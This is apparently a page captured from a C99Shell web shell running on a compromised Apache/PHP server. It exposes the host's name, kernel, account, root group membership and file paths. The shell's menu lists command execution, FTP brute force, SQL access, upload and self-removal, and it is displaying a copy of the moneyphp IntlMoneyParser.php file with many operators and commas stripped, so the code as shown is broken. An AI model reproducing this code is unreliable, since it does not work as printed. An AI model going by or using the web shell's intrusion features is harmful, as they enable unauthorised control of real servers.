!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/moneyphp/money/src/Parser/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     IntlMoneyParser.php (2.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Money\Parser;

use 
Money\Currencies;
use 
Money\Currency;
use 
Money\Exception\ParserException;
use 
Money\Money;
use 
Money\MoneyParser;
use 
Money\Number;
use 
NumberFormatter;

use function 
assert;
use function 
ltrim;
use function 
str_pad;
use function 
str_replace;
use function 
strlen;
use function 
strpos;
use function 
substr;

/**
 * Parses a string into a Money object using intl extension.
 */
final class IntlMoneyParser implements MoneyParser
{
    private 
NumberFormatter $formatter;

    private 
Currencies $currencies;

    public function 
__construct(NumberFormatter $formatterCurrencies $currencies)
    {
        
$this->formatter  $formatter;
        
$this->currencies $currencies;
    }

    public function 
parse(string $moneyCurrency|null $fallbackCurrency null): Money
    
{
        
$currency '';
        
// phpcs:ignore
        /** @var string|float|bool|null $decimal */
        
$decimal $this->formatter->parseCurrency($money$currency);

        if (
$decimal === false || $decimal === null) {
            throw new 
ParserException('Cannot parse ' $money ' to Money. ' $this->formatter->getErrorMessage());
        }

        if (
$fallbackCurrency === null) {
            
assert($currency !== '');

            
$fallbackCurrency = new Currency($currency);
        }

        
$decimal         = (string) $decimal;
        
$subunit         $this->currencies->subunitFor($fallbackCurrency);
        
$decimalPosition strpos($decimal'.');

        if (
$decimalPosition !== false) {
            
$decimalLength  strlen($decimal);
            
$fractionDigits $decimalLength $decimalPosition 1;
            
$decimal        str_replace('.'''$decimal);
            
$decimal        Number::roundMoneyValue($decimal$subunit$fractionDigits);

            if (
$fractionDigits $subunit) {
                
$decimal substr($decimal0$decimalPosition $subunit);
            } elseif (
$fractionDigits $subunit) {
                
$decimal .= str_pad(''$subunit $fractionDigits'0');
            }
        } else {
            
$decimal .= str_pad(''$subunit'0');
        }

        if (
$decimal[0] === '-') {
            
$decimal '-' ltrim(substr($decimal1), '0');
        } else {
            
$decimal ltrim($decimal'0');
        }

        if (
$decimal === '') {
            
$decimal '0';
        }

        
/** @psalm-var numeric-string $decimal */
        
return new Money($decimal$fallbackCurrency);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--